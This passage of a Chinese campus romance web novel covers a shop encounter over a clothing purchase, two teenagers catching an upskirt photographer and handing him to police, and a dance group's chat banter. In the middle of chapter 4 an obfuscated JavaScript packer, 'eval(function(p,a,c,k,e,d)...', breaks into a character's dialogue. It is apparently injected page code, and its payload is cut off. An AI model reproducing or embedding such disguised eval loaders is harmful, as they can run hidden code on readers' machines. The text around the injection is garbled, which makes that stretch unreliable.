她往前走了几步路，忽然停下来，叹了口气，折返到店员面前，打算问问Equa与野生动物保护协会的联名款衣服什么时候到货。 “干嘛去啊？” 周静瑶朝她背影纳闷喊了声。 姜织宁：“咨询下菜狗的生日礼物。” 姜织宁嘴上说说给蔡从送小天才电话手表，但她到底还是良心在线，做朋友很讲义气，心想蔡从最近也不容易，为了自身前程问题，和家里关系闹的很僵。 她刚才就觉得，口罩酷哥穿的那身黑特别有型好看，当然，也有可能因为人家身材是衣架子的原因，穿什么都好看。 算了，小天才电话手表先放一放，姜织宁觉得还是送衣服好了。 唉，毕竟蔡总也不容易啊。 店员听完话，热情回答：“野生动物保护协会联名款的话，因为是限定限量，所以最近一直断货，我们也没办法确定什么时候到货呢，或者，您可以关注下的我们品牌官网，线上也可以购买哦。” 那不行，姜织宁是学业繁重的高中生，哪有这么多时间刷手机蹲上线。 她问：“还有别的方式吗？” 店员想了想，建议道：“或者您可以添加我们的企业微信，新品到货后，我们都会在朋友圈发布的。” “任何一位店员都可以吗？”姜织宁确认问。 “对哦。” 坐电梯到四楼，上前服务的店员并不是刚才那位口罩酷哥，换成了另一位年轻男生。 姜织宁礼貌询问：“请问刚才那位长很高，帮我Diy衣服的男店员在哪里？带白色口罩，穿一身黑，名字......没有名字，就挂了一个兼职的工牌。” 男生足足愣了好几秒才反应过来她在说谁，笑眯眯问：“怎么了？找他有事？” 姜织宁嗯了声，直白地说：“我想加他微信。” 嚯，又来一个想加微信的女生！ 而且还不遮遮掩掩，上来就打直球，厉害了！ 柯译衍可真受欢迎。 男生惊叹佩服姜织宁的同时，意味深长笑起来：“稍等啊，我带你过去。” 姜织宁拎着纸袋在店里弯弯绕绕，最后被男生带到贴着顾客止步标牌的仓库。 此时，几位年轻男女正围聚在仓库门口，嘻嘻哈哈说笑着，口罩酷哥双手环在胸前，懒散站在人群中央。 见状，她及时止步，耐心站在旁边等待。 男生走到人群里，拍了拍柯译衍肩膀，笑嘻嘻对他说：“译衍，有顾客特意回来找你哎～” 特意回来找他？ 柯译衍随着男生手指方向回头，一眼瞧见姜织宁站在不远处，目光直直盯着他。 他眼中闪过一抹诧异，微微扬了下眉，再度看向男生，眼神困惑反问：“找我干什么？不会又是投诉吧？我刚才服务很好。” 男生：“？” 是不是有病？ 这脑子怎么想的？ 真是白瞎这张脸！ 活该注孤生！！！ 男生当场嫌弃翻了个白眼，并不想解释，用力推他一把，“你赶紧过去，别让人家等太久！” 柯译衍犹豫好几秒，才慢吞吞走到姜织宁面前，冷静注视着她：“有事？” 姜织宁拿出手机，语气自然地说：“嗯，找你加下微信。” 柯译衍：“？” 4. 第 4 章 姜织宁话音落下，门口几道八卦视线嗖嗖嗖，不约而同地射了过来。 “牛哇，这妹妹这么直球的吗？？？” “什么情况？又来一个？今天第几个了？” “哦哟，衍神桃花朵朵开啊。” “哎，看来帅哥就是受欢迎。” “就是咯，即使戴着口罩，也阻挡不了魅力无边。” “你们说他给不给呢？要是不给，哎，不会又被投诉吧？” “哈哈哈哈哈，太难了！柯大少爷真的太惨了！” “哎呀，你们看他那副犹豫样子，不会是有心里阴影了吧。” 几人眉来眼去，没良心笑闹成一团。 柯译衍受不了那边一直嘻嘻哈哈吵死个人，转过身，不耐烦斜睨他们一眼，这群人才舍得收敛表情，互相推搡着溜进仓库。 耳根清净后，柯译衍沉默不语看着姜织宁，一时不知道该怎么回应。 她特意找他加微信是什么意思？ 他要和以前一样，直接拒绝么？ 但问题是，女生看他的目光很坦然，脸上也没有露出丝毫羞涩感，甚至，看上去有一种要扫码付钱的公事公办态度，那么她加微信的目的，有可能不是自己想的那样。 事情有点难办。 今天不宜出门。 柯译衍开始后悔接手姜织宁这一单定制。 为什么他会这么想？ 因为就在不久前，短短的时间里，店里陆续收到了两个女顾客的投诉，而且都是精确落到柯译衍头上的个人投诉。 顾客特意写了好几百字小作文，措辞十分激动，通篇气愤控诉那位戴白色口罩，挂兼职工牌的兼职生。 指责他态度冷淡！极其不尊重人！毫无服务意识！ 店长收到投诉后，心里奇怪不应该啊，怎么会呢？ 然后带着疑问，亲自找到柯译衍询问，问了之后才搞清楚，原来世界上真的存在五花八门，让人惊掉下巴的奇怪投诉。 事实真相与工作毫不相关，仅仅只是因为柯译衍被这两位女顾客缠着要个人微信，他没给，女生思来想去气不过，离开之后，反手丝滑来了个投诉。 很有一种你让我不开心，好，那大家都别想好过的毁灭之情。 就因为这个被投诉，柯译衍也是很倒霉，很无语了。 ...... 为了不让气氛继续陷入尴尬，柯译衍想了想，冷静开口：“是有什么问——” “不行吗？” 他话还没说完，就被姜织宁打断。 姜织宁多少瞧出点酷哥不愿意给微信的疏冷态度，于是收回手机，很直接地问了句：“是不方便吗？” “嗯，我是兼职。” 柯译衍琢磨片刻，胡编了个委婉折中的拒绝理由。 姜织宁愣了愣，没想到是因为这个原因，原本还寻思着，是不是因为刚才修改画面的拜托太为难他了，导致他对她有什么不满想法。 她迷茫眨了眨眼，然后表示十分理解，并有些惋惜地叹了口气。 心想，本来看你服务特别好，就想帮你冲冲业绩，这样看来是没办法了。 姜织宁可惜完，解释道：“这样啊，那我加别人吧，刚才有个店员让我加下你们的企业微信，说Equa新品到货后，你们会在朋友圈发布。” 原来如此。 真相大白，误会解除，柯译衍态度松懈下来，难得多问了嘴：“想买衣服？” “对。”姜织宁真诚赞美，“就你这身，挺好看的。” “送人么？” “嗯，朋友生日。” 他穿的是男款，那就意味着，她是给男生送衣服。 柯译衍意味不明地瞥了姜织宁一眼，转身走进仓库，很快拿了部手机出来，然后把手机屏幕朝向她，淡声说：“加这个。” 姜织宁愉快扫完二维码，礼貌道谢离开。 柯译衍回到仓库，将手机还给店长，刚才带姜织宁过来的男生店员立马凑过来，八卦打听：“拿公司手机去干嘛？你们加上微信了吗？不是要投诉你吧？” 柯译衍斜他一眼，答非所问：“人想买动物保护协会联名款，你带她找我干什么？” “啊？买衣服......”男生愣了愣，诧异说，“就......就这事？没其他的？” “不然？”柯译衍平静反问，目光饱含谴责之意，一副你是不是想害我的意思。 男生顿时嬉皮笑脸起来，安慰他说：“找你也能买啊，只要你和柯总说一声，那门店调货不是很方便的嘛，再说了，人家妹妹指定要找你，那我怎么拒绝嘛。” 柯译衍双手环到胸前，嗤笑一声：“她给男朋友买衣服，和我有什么关系。” “啊？？？”男生一脸震惊，“小妹妹有男朋友啊？？？” 晕...... 所以是他误会咯？ 他还以为姜织宁对柯译衍有那方面的想法，所以才特意找上门要微信呢。 “不知道。”柯译衍嗓子发痒，偏头咳嗽几声，隔着口罩揉了揉鼻尖，一副没兴趣关心的态度，敷衍回，“也可能是男性朋友。” “哦......”男生若有所思点点头，转念说，“那也没事，换个想法，这种就是潜在客户，加个微信也好维护。” 柯译衍：“？” 他觉得很荒谬，顿了两秒，面无表情讲：“嗯，原来Equa是要倒闭没人了，居然需要我一个高中生去维护客情。” 男生猛然瞪大眼，属实被这句话震惊到了。 能语气这么轻飘飘地说出自家品牌要倒闭，这位哥，真是前无古人后无来者，历史嘴欠刻薄第一人了吧...... 说完，柯译衍没好气地呛了句：“维什么护，我是代购么？” “哎呀，那哪能是代购呢！”男生笑容满面，语□□腿恭维他，“我掐指一算，算到你大概率是我们Equa未来的接班人呢。” 话音落下，手机响起，是好友俞杨打来的电话。 柯译衍接起来，俞杨在电话那头高声嚎叫：“我在你家店门口，你人呢？哪去了？？？！！！” 柯译衍：“过来仓库这边。” 俞杨刚想将他一军，说“柯译衍你是不是干了什么亏心事，不然躲仓库干嘛？”，结果还没来得及说出口，那边“嘟”一声，直接冷酷无情挂了。 俞杨无语翻了个白眼，拎起地上颇有重量的网球包，往仓库方向走去。 七拐八绕，俞杨凭借记忆里的位置找到仓库，然后像个门神一样，凶神恶煞杵在大门口。 他故意将球包往地上沉沉一摔，眼睛笔直盯着货架旁边，那道挺拔修长的黑色身影。 “哎哟我去！” 俞杨用力啧了声，阴阳怪气地说：“我们衍神这是在仓库干嘛啊？不会是在提前学习怎么盘货，准备毕业后接手Equa去卖衣服吧？？？叫什么衍神啊，干脆叫你衍老板算了！” 柯译衍听到嘲讽，偏头朝门口瞥了眼，转过身，慢悠悠走过来。 他走到俞杨面前，垂眸看向地上的网球包，包袋敞开着，没拉拉链，里面放了四把不同颜色的网球拍。 柯译衍没搭理俞杨的满腔怨念，顾自弯腰抽出其中一把HEAD混色球拍，试了试手感，随口问：“线穿好了？哪个穿线师穿的？” 俞杨是来找......不对，不是找，应该是半撒泼半强硬，嘴皮子几乎说破，费了老大力气，才把柯译衍这尊金身大佛从家里拖出来。 为了让金身大佛陪自己打网球。 好家伙，最后人是被俞杨千辛万苦请出来了，结果这位哥两袖清风，球拍不带，球包也不拿。 柯译衍临时给他发了条信息，吩咐他装备带齐全，说球拍用他的，还自以为很好说话的表示，新拍、旧拍随便什么都行。 什么叫新拍、旧拍随便什么都行？？？ 俞杨收到消息后，把他气得不轻，倒不是介意柯译衍用他的球拍，而是看不惯柯译衍这幅敷衍至极的打球态度。 怎么滴？ 就算真放弃走职业网球运动员这条路，他也不能这样啊！！！ 一想到这，俞杨又开始生气。 他用力瞪柯译衍一眼，不客气骂道：“穿好了！你可真行，出来打球不带家伙，这和游泳不穿泳裤，战场上裸奔有什么区别啊！” “啊？！！！”俞杨怒吼一声，戏精指责道，“你这个不穿泳裤的渣男！” 游泳不穿泳裤？裸泳啊？ 这么刺激呢！ 外头俩顾客路过，凑巧听到这声骂，惊讶对视一眼，默契扭头朝声源处偷瞄，瞄见柯译衍后，震惊低声议论：“哟，帅哥还有这癖好呢！” 柯译衍：“......” 俞杨一副痛心疾首模样，接着骂：“瞧你这幅懒散不上心的样，有没有竞技体育精神？！靠！穿线也不去，人网球店老板还关心你，问我译衍怎么好久没来了，我都不敢说！你个没良心的要隐退江湖！！！” “还有，我一个人去穿线拿球包，真的很重！很孤单好吗！我他妈还特意给你带了四把球拍，皇上您随便挑好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他顶着一张痴汉脸，盯着姜织宁看了会儿后，忽然想起一件事，立马扭头问柯译衍：“我听班长说，女神要转来我们一班，真的假的啊？” 姜织宁重读高二这件事知道的人并不多，当初她休学之后，学校里一度各种传闻乱飞，有人说她转学，有人说她要出国。 “我会知道这个？” 柯译衍将手机揣回兜里，十分困惑地反问。 两个人思维压根没在一个频道上。 俞杨会错意，用一副看山顶洞人的眼神鄙视说：“姜织宁啊！我们江洲中学鼎鼎有名的校花，你个山顶猿人不知道吗？？？” “我不是在你面前提过她好几次吗，你是什么金鱼记忆？话说，你到底有没有看她演的《记忆》啊？” 说完，又表情疑惑“嘶”了声：“不应该吧，你虽然是高一下学期才从雾京转学过来，但你转来那会儿，姜织宁还在学校里啊，又没休学......” 柯译衍沉默不语。 心想他不仅知道，而且刚才就见过本人，但他并不打算和俞杨说，因为不想被俞杨丧心病狂追着问，那很烦。 柯译衍淡声回：“她来不来和你有什么关系？” “我靠，那女神真转来的话，不就和我同一个班吗吗吗吗吗！！！” 俞杨简直无语，特想当场仰天咆哮发泄，好在残存的理智提醒他不要在公共场合发疯，不要破坏自身形象。 他反复深呼吸，努力忍了忍，转而面无表情地说：“你有没有听见什么很响亮的声音？” “什么声音？”柯译衍没听见。 “我的沉默啊！” 柯译衍：“......” “震耳欲聋啊！” 柯译衍：“......” “听见没？大声告诉我！” 柯译衍：“......” 这人神经病吧。 俞杨摆出一副“人类悲喜并不相通”的表情，斜眼瞅着柯译衍，酸里酸气地说：“知道你是定居在大气层之上的衍神，但我麻烦你，偶尔也下凡沾沾人气，打开七情六欲，不要这么冷漠行吗！” “姜织宁要是转来一班，那大家不就是同班同学了吗，同学之间要互相关心，友爱互助！俞老师教没教过你这个道理？” 俞杨双手叉腰，戏精上身，强势逼问。 柯译衍：“......” 这个智障。 柯译衍话都不想说，无语别开目光，懒得搭理智商堪忧的人。 5. 第 5 章 电梯行至商场一楼。 柯译衍抬脚往出口方向走，没走两步路，就被俞杨的手挡住。 俞杨嬉皮笑脸：“去看看。” “看什么？” “看看我女神，机会难得。”俞杨臭不要脸地说。 “......”柯译衍目光瞬间冷淡下来，骂道，“是不是有病？不打球了？” “我没病，我脑子清醒身体倍儿棒！”俞杨不由分说拽住柯译衍，往舞台方向拉扯，“就看十分钟，就看十分钟！求你了！！！” 柯译衍：“......” 俞杨看柯译衍没再反抗，便放心撒开手，迫不及待先一步冲到人群里。 将近一米九的大高个，搞笑向后撅起屁股，拼命倾身往内圈舞台张望，模样简直像个活宝。 装着数把价值不菲球拍，总价五位数之上的网球包就这么被俞杨随意扔在地上，挪位置时，还被他无情踢了两脚，嫌弃挡道了。 没出息，没眼看。 柯译衍在心里冷冷骂道。 柯译衍站在原地回复舅舅发来的信息，办完长辈交代的事情，才慢悠悠抬脚往前走。 也不知道是不是天意，他刚走到俞杨身后，音乐就停了下来，姜织宁所在的舞团从台上迅速撤下。 见状，柯译衍唇角微挑，嗤笑了声，闲散抬起手，拍了拍俞杨肩膀，说：“结束了啊，走。” 俞杨不耐烦甩开他的手，死皮赖脸就是不走。 “啧，催什么催，等会儿还有的！” “你走不走？”柯译衍面无表情。 “哎呀，等等怎么了，等等会死吗！” 俞杨一边抱怨一边去看了眼手表，然后悲催发现，距离刚才约定的十分钟只差一分钟便到时间了...... 不过嘛，俞杨瞧着柯译衍，镇定对自己说别慌。 他刚才怕柯译衍中途走掉，陆续用余光偷瞄了这位哥好几眼，发现他又是打电话又是发信息的，全程很忙碌。 所以这会儿他柯南上身，经过一番周密推测分析后，想着，很有可能柯译衍根本不清楚十分钟限时到没到。 这么一想，俞杨心放宽了，咳了声，半心虚半强势地篡改时间，嚷嚷道：“还有五分钟呢！你别想骗我走啊！” 服了。 柯译衍没说话，冷眼盯着俞杨充满傻里傻气的后脑勺，沉沉盯了好几秒，无情转身就走，完全不屑傻站在这里与脑残粉共伍。 他刚转过身，就和人迎面撞上，柯译衍稳住身体，不耐烦抬眼看过去。 对方是个中年男人，身穿深蓝T恤，黑色裤子，身型干瘦佝偻，身材矮小，整个人才到柯译衍胸口位置。 男人头上那顶泛白老旧的黑色棒球帽因为相撞掉到了地上，他立马不爽“啧！”了声，弯腰捡起帽子，在戴上之间抬起头，脸色阴沉瞪向不长眼的人。 四目相对，对视上柯译衍那双如同冰山一样锋利凌人的冷眼，男人下意识滞了秒，然后不动声色扫了遍少年全身上下。 敏锐感受到少年身上那股极不好惹的压迫气势，男人挺识趣，把嘴边那句呼之欲出的“你是不是没长眼！”给咽了回去。 他重新戴上帽子，一边在心里骂骂咧咧晦气，一边不甘心地狠狠瞪了柯译衍一眼。 柯译衍平静抬眸，没和男人一般见识，心中再一次想着，今天真的不宜出门。 他往前走了几步路，逐渐停下脚步。 就刚才对视的那几秒，足以让柯译衍看清楚中年男人的长相，男人长得贼眉鼠眼，眼风猥琐，相当不正。 柯译衍若有所思回头瞥了眼，紧接着，懒洋洋折返到俞杨身后。 中年男人就站在旁边，和柯译衍间隔三四米的距离。 男人瞄见柯译衍突然站到他身边，神情警惕，下意识抬手压了压帽檐。 他心中正犹豫着要不要换个位置，下一秒，就见柯译衍自然俯下身，将俞杨乱丢的球包挪回自己腿边。 见状，男人顿时放下警惕心，顺带目光不屑地斜睨了眼柯译衍以及球包。 他冷哼心想，瞧你那宝贝样，不就几把球拍么，我还稀罕你那破玩意儿？ 柯译衍从裤兜里拿出手机，脸色从容刷起来，从始至终没看中年男人一眼。 另一边，俞杨也不敢太不要脸，眼看时间差不多，依依不舍准备离开。 他拎起地上球包，对柯译衍说了声走，谁知这位哥专心致志刷着手机，一动不动地说：“再看一会儿。” “啊？”俞杨黑人问号脸。 刚才满脸嫌弃，死活要走，现在又不走了？？？ 俞杨：“真的假的？” 柯译衍淡淡嗯了声。 “你在看什么啊，这么专心。”俞杨奇怪柯译衍一直盯着手机看，好奇探头望去。 柯译衍及时抬手挡了下，不让他看，下巴冷酷朝前方一指：“少废话，转身。” 俞杨：“......” 啊呸！ 瞧你那小气吧啦的样，给我看我也不看！ 俞杨不爽撇了撇嘴，转身看向舞台。 其实他也还没看过瘾。 如果说，一开始只是为了看他的女神姜织宁，给她欢呼喝彩，那么后半程，他的注意力完全被那群正在比赛的小朋友们吸引住了。 哎哟，有几个小Bboy、Bgirl，一跳起舞来简直酷帅得不行！ 俞杨不禁心生感慨，现在小朋友是真的很厉害，看上去小小一个人，怎么跳起街舞来，身体里能爆发出这么大的能量呢？ 他侧身和柯译衍闲聊：“哎，你说我现在去学街舞还来得及不？” 柯译衍：“你先打好网球再说。” “哈？跳舞耽误打球吗？我脚这么灵活，Breaking随便拿下好吧！”俞杨不要脸自吹。 柯译衍眼皮懒懒掀起，困惑斜他一眼：“你有这精力？” “你都放弃网球了，那我打球还有什么劲啊！”俞杨不爽瞪他一眼。 柯译衍哼笑一声，慢条斯理地说：“这是要黏我一辈子的意思么？” “嘤，放屁！” “收起你那龌龊的小心思！”俞杨立马戏精双手抱胸，浮夸往旁边挪远一大步。 “......” 柯译衍有一搭没一搭地陪聊着，中途，咔嚓一声按灭手机屏幕，漫不经心又往边上瞥了眼。 就这一眼，被他抓个正着。 果然不出所料，那中年男人就是个猥琐偷拍男。 此时，猥琐男挨站在一位穿红格子短裙的女生后面，双手摆弄着手机，偷偷摸摸朝女生裙底下探去。 正因为男人身材矮小的优势，导致这番行为格外隐秘，而现场又是你挤我我挤你，大家胡乱站成一团，所以根本没人发现猥琐男在偷拍，除了柯译衍。 柯译衍动作从容利落，直接拿起手机，侧身对准猥琐男，找准角度，迅速拍了两张证据照。 猥琐男本就格外警惕，眼珠子时不时地四处乱转，生怕被人发现，正往左边扭头时，一眼发现柯译衍在拍他。 猥琐男愣怔住，手不由自主一抖，手机没拿稳，“啪”一声摔到地上。 与此同时，柯译衍冷静弯腰，不慌不忙抽出那把没穿线的网球拍。 “操！晦气！” 猥琐男暗骂一声，立马捡起手机，转身就跑。 柯译衍轻松追了几步路，中途找准时机抬起拿球拍的右手，用力往前一挥，球拍瞬间绕过猥琐男的头，稳稳扣在他脖子上。 下一秒，柯译衍右手猛地向后一拽。 猥琐男被球拍勒紧脖子，宛如戴上牵引绳的狗，他脸色涨红，双脚在大力拉扯下，迅速踉跄往后倒退，最终四脚朝天摔在地上。 柯译衍瞬间蹲下，右膝盖跪压住猥琐男腹部，左手狠掐住他脖子，将人强硬按在地上。 一番行云流水般的漂亮动作。 柯译衍面无表情盯着猥琐男：“跑什么？” “操！干什么，神经病啊你！” “打人了！打人了！这小子打我！” “给老子放手，不然报警抓你啊！！！” 猥琐男哀嚎着破口大骂，拼命喘气挣扎，那只没被压制住的左手往柯译衍小腿上狠狠挥了一拳。 “我操！你他妈敢打我兄弟！” 俞杨眼神冰冷，骂骂咧咧飞冲过来，一边帮忙按住人，一边往猥琐男脸上狂抽两大巴掌，狠声骂道：“我揍不死你！！！” 这番大动静吸引了不少周围人视线。 几位路人纷纷停下脚步，愣怔看向这边，包括被偷拍的红格子短裙女生，大家一度以为是便衣警察在抓小偷。 柯译衍抬眼看向格子裙女生，语气平静：“他拍你裙底。” 女生愣了愣，旋即放声尖叫冲过来：“偷拍狂！猥琐男！你们快帮忙报警啊！” 眼看身边没工具，女生气得直接脱下右脚上的厚重小皮鞋，一边大骂脏话，一边暴脾气地往猥琐男脸上猛抽。 派出所就在附近，路人帮忙报警后，没几分钟人就来了，一行人全被叫去做笔 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刚开始盘问的时候，猥琐男死不承认，柯译衍拿出刚才拍的证据照，猥琐男依然嘴巴特别硬，说自己是在自拍，还转移重点反咬一口，控诉柯译衍、俞杨以及女生故意打人。 柯译衍抱胸靠到椅背上，冷笑一声：“手机放这么低自拍，你可真行。” “放低怎么了！怪我咯？”猥琐男猛翻白眼，气道，“你没看到现场那么多人吗，我夹心饼干一样，被挤的手都抬不起来！而且我人矮啊，就喜欢这么拍！” 说完，神情气愤地对警察卖起惨来：“警察同志，您一定要为我做主，帮帮我啊！” 猥琐男指尖颤抖指向柯译衍。 “我刚才不小心和这小子撞了一下，他看我的眼神可凶了！肯定是因为这个原因，他才故意报复打我！！！” “呵呵，还打人呢，知道刚才套你脖子上的打狗棒有多贵吗！定制选手拍！没叫你赔损坏就不错了！”俞杨一点也听不得别人污蔑他兄弟，气势汹汹盯着猥琐男，破口大骂，“狗屁自拍！有种就把手机相册打开看看啊！” 猥琐男眼神飘忽不定，有点慌了，结结巴巴地说：“凭......凭什么啊，你说看就看啊！你这是在侵犯我隐私权！” “不敢给我们看就是心里有鬼！”女生表情气愤，“我看你长得就一副猥琐样！” “嘿，你怎么人身攻击呢！” 年轻警察看看柯译衍这边，又看看猥琐男那边，最后同意点头说：“请你配合调查，打开手机。” 猥琐男正要拒绝，旁边走过来一位较年长的警察。 他认真打量了猥琐男好几眼，然后站到年轻警察身边，把手机递给他说：“看看是不是同一个人。” 手机屏幕里是某位女生刚发不久的微博。 女生说，今天下午她在地铁上遭遇咸猪手，但对方死不承认，到站立马跑下车，情急之下，她便拍了张猥琐男的照片，定位同城发布，提醒其他姐妹小心这个男人。 由于猥琐男抬手挡住大半角度，所以女生那张照片并没有拍到全脸，只露出小半张侧脸，但也足够了，细心对比，就能发现和眼前偷拍的是同一个人，况且身上衣服也完全一样。 仔细辨认过后，年轻警察放下手机，神情严肃：“手机打开。” 手机强制解锁打开，还没来得及看，屏幕上方连续弹出几条新消息。 ——这拍的都什么糊玩意儿？ ——妈的钱给你打过去！你就给我发这种质量的偷拍？！ ——操，客户那边很不满意！ ——你个狗娘养的，这是第几次骗老子？？？ ——我他妈反手举报你诈骗信不信！ ——要么给我换成好货！要么麻溜退钱啊！ ——赶紧的！老子给你三秒时间考虑！ ——三二一，装傻是吧？给老子说话！！！！ 原来这条鱼后面还牵着线呢，两位警察默契互看一眼，同时意味深长盯向猥琐男。 证据确凿，后面就没柯译衍他们什么事了，几人在笔录上签好名字，离开派出所。 走到大门外，柯译衍低头在手机上约车去球场，一旁的俞杨神清气爽仰望天空，内心很有成就感，觉得自己做了件好事。 俞杨收回视线，揽上身旁头顶闪亮光环，比平时更加帅气百倍的好兄弟，语气感慨地说：“哎你瞧瞧，同样出个门，你就能随手抓个猥琐男，咱两格局怎么差这么大呢？” 柯译衍偏头咳嗽两下，目光嫌弃瞥了眼俞杨，无情甩开他的手。 6. 第 6 章 等到街舞表演彻底结束后，姜织宁乘坐电梯到商场负一楼，搭乘地铁回爷爷家。 推开家门，姜织宁瞧见爷爷坐在院子里纳凉，三条狗乖巧趴在老人周围，懒洋洋摇摆尾巴。 她走过去，半蹲下，雨露均分挨个摸摸狗头，笑着同爷爷打了声招呼。 爷爷笑眯眯看着她：“哟，我家宁宝回来了，进去洗洗手，待会儿吃晚饭。” “好。”姜织宁点了点头。 趴在老人腿边的萨摩耶欢快摇摆尾巴站起来，一路跟随姜织宁走进二楼房间。 房间门推开，阵阵桂香袭来。 姜织宁的房间窗外栽种了一排桂花树，盛夏时总是蝉鸣不断，等到秋天开花后，浓郁沁人的桂花香便会随风飘荡进房间，特别好闻。 此时树梢上小鸟排排站，叽叽喳喳着，鸟鸣高亢。 这群小鸟又在集体开晚会了，每天定时定点，比闹钟还要准时，姜织宁一边撅嘴自言自语吐槽，一边走到窗前，手扶上窗沿，上半身微微向外探出去看。 夕阳半挂天边，快要落山，绚丽火烧云变幻翻涌，大片大片蔓延至天际线，落日景色如油画般绚丽多彩。 闷热晚风拂过姜织宁脸颊，虽然已是傍晚时分，但天气还是热。 角落里趴了只吐舌头散热的萨摩耶，她果断关上窗户，打开空调，然后给手机充上电，调出音乐歌单，连接上蓝牙音箱，边听歌边收拾行李。 明天去学校报道，晚上就要住进学校附近小区的新家，那边房子是姑姑新租的，姜织宁得在今晚整理好需要搬到新家的个人物品。 事实证明，收拾行李是真的很累。 姜织宁以为自己物品并不多，但整理着整理着，就发现很多小物品散落于各个角落，特别零碎。 这个要带上，那个倒是看着没什么大用，但捎上也没什么问题吧？万一要用呢...... 少女变成一只忙碌的小蜜蜂，在房间里到处转。 下午接连几场舞蹈表演消耗了太多体力，姜织宁整理到一半时，体力透支被迫停下来，生无可恋瘫到沙发上休息。 放空盯着天花板发了会儿呆，她支起上半身，拔掉手机充电线，拿回手机打开微信。 为了这次的街舞比赛表演，音暴内部专门拉了个临时小群，这会儿群里格外热闹，消息不断。 【音暴Jazz西西】：怎么样啊格子，没事吧，事情最后处理好了吗？？？我还是第一次看到@Ning表情这么惊慌跑来找我，吓得我以为出什么事了，哈哈哈哈！ 看见音暴的爵士舞老师西西忽然cue到自己，姜织宁顺势在群里发了个表情包冒泡，接着打字附和。 【Ning】：当时真的害怕极了。[微笑][微笑][微笑] 差点被偷拍的红裙女生叫格子，是江洲传媒大学大三学生。 【音暴格子】：处理好了，真是气死我！猥琐男一开始还嘴硬不承认，好想扇他狗嘴几巴掌！@Ning谢谢宁宁替我啦，呜呜呜，下次请你吃大餐！ 【Ning】：没事没事，幸好是跳过的舞，就怕上台做广播体操。 【音暴Jazz西西】：啊哈哈哈，放心，就算做广播体□□也美死！ 【音暴格子】：还好有那两个帅哥帮忙！而且你们知道吗，两帅哥都是江洲中学的学生，在读高二，学霸哎！！！[心动] 【音暴Jazz西西】：你还打听帅哥哪所学校了？？？你老实和西西老师说，是不是藏着私心，是不是故意的！ 【音暴格子】：我不是！我没有！是有个年纪大的警察，说他俩看着像学生，就问了嘴哪个学校的，帅哥自己报的学校名！那个警察说自己儿子是初中生，也准备冲一冲江洲中学，就和帅哥多聊了几句，问他们考重高看哪些辅助教材好。 【CC什么都跳】：妈耶，居然是江洲中学的？这可是省重点哎，咱们江洲市最好的高中，那是真学霸了！ 一看到有人说江洲中学是江洲市最好的高中，群里有人不服了，立马跳出来争论。 【Niki】：哈？我虽然已经毕业了，但不是人没了，江中是top，那我们附中是什么？？？ 【CC什么都跳】：这还用我说吗，当然是千年老二。 【Niki】：谁说千年老二！明明附中才是top！！！ 【CC什么都跳】：你就扯吧，江中本市第一是大家公认的好不好，没听过一句话吗，江中的特产是学霸，遍地都是，尤其是本部。 【Niki】：我请你去看看这两年的竞赛数据，再发表结论好吗！ 【CC什么都跳】：不看，关我啥事？老娘高中外国语毕业，反正，我只听说过附中学生转学去江中，没听过江中学生转校去附中。 【Niki】：好，那我现在去找，非要让你看！ 【CC什么都跳】：滚，就不看，发了也不看。 【Niki】：臭CC！居然敢骂我，报警了啊！ 【CC什么都跳】：赶紧去。[微笑] 【Niki】：@Ning妹妹，你是咱们群里唯一的现任高中生，最有发言权，你来评。 炮火突然对准场外笑眯眯看戏的姜织宁。 她愣了愣，苦笑打字。 【Ning】：虽然但是，我是江中的学生哎...... 【CC什么都跳】：哈哈哈哈哈哈哈，笑死了！Niki你问谁不好，非要舞到对家门口去，啊哈哈哈哈哈哈！ 【Niki】：..................................[笑哭][抱拳][抱拳][抱拳] 姜织宁津津有味看着两人在群里精彩扯头花，嘴巴都快要笑酸了，最后还是西西老师看不下去，跳出来控场。 【音暴Jazz西西】：好了好了都住嘴！他妈队形都歪到西伯利亚了！重点是讨论帅哥好吗，谁关心哪所高中是top啊？干什么，一个个都想重生回高中吗？唧唧歪歪的，幼稚死了！都给我私下争去！ 【音暴Jazz西西】：@音暴格子很帅吗？群里姐妹多，有没有帅照分享？？？ 【音暴格子】：晕......刚才看到群里突然蹦出个附中，差点给我搞懵了，寻思附中是个什么东西啊？和帅哥有半毛钱关系吗...... 【Niki】：附中不是东西，附中全名江洲大学附属中学，省重点高中，谢谢。 【音暴格子】：姐不是本地人，并不关心谢谢。 【音暴格子】：@音暴Jazz西西照片没有的，但是！那个戴口罩的男生真的很帅！！！呜呜呜呜，惊！为！天！人！那种酷帅哦，当他摘下口罩的那一瞬间，本姐姐心脏当场停止跳动！！！ 【音暴Jazz西西】：有那么夸张嘛......咱们音暴里面帅哥也很多啊，高中大学都有，艺人练习生也有啊。 【音暴格子】：就有那么夸张！人家还会打网球哦！我发现了，江洲这边帅哥是真的多，神仙打架，卷的要死！ 【CC什么都跳】：打网球？靠，体育生啊？？？那不得说一声好巧吗，姐姐的前男友就是体育生啊，长得巨帅，身材巨好，不过他游泳的。 【音暴格子】：不知道是不是体育生。 【CC什么都跳】：所以照片没有，联系方式肯定也没要，人帅哥帮你这么大忙，从头到尾，你不会只对他说了声谢谢吧？？？ 【音暴格子】：不不不，我还给特意他送了瓶跌打损伤药水。 【CC什么都跳】：？ 【音暴格子】：呜呜呜，帅哥小腿被猥琐男打了下，都青了！朋友说他小腿不久前受伤过，我就快马加鞭买了药给他，怎么样，姐姐我是不是很贴心！ 【音暴Jazz西西】：贴心个锤子，骂都懒得骂你！ 【音暴格子】：嘻嘻。[微笑] 【CC什么都跳】：服了，还有心情在那边嘻嘻，一点都不嘻嘻好吗！没用的女人！[鄙视] 【音暴Jazz西西】：没用的女人！[鄙视] 【Niki】：没用的女人！[鄙视] 【不爱吃柠檬】：没用的女人！[鄙视] 【音暴hiphop明明】：没用的女人！[鄙视] ...... 姜织宁看她们在群里刷屏斗嘴，简直要笑死了，刚想保持队形发个表情包过去，房间门被敲响。 门从外面打开，亲姑姑姜颖抱着猫走进来。 姜颖扫了眼乱糟糟的房间，笑眯眯问：“都收拾好了？” “还没呢。”姜织宁叹了口气，“感觉越收拾东西就越多。” 姜颖安慰：“没关系，慢慢来，先去吃饭吧。” 姜织宁关掉手机站起来，和姑姑一前一后走向餐厅。 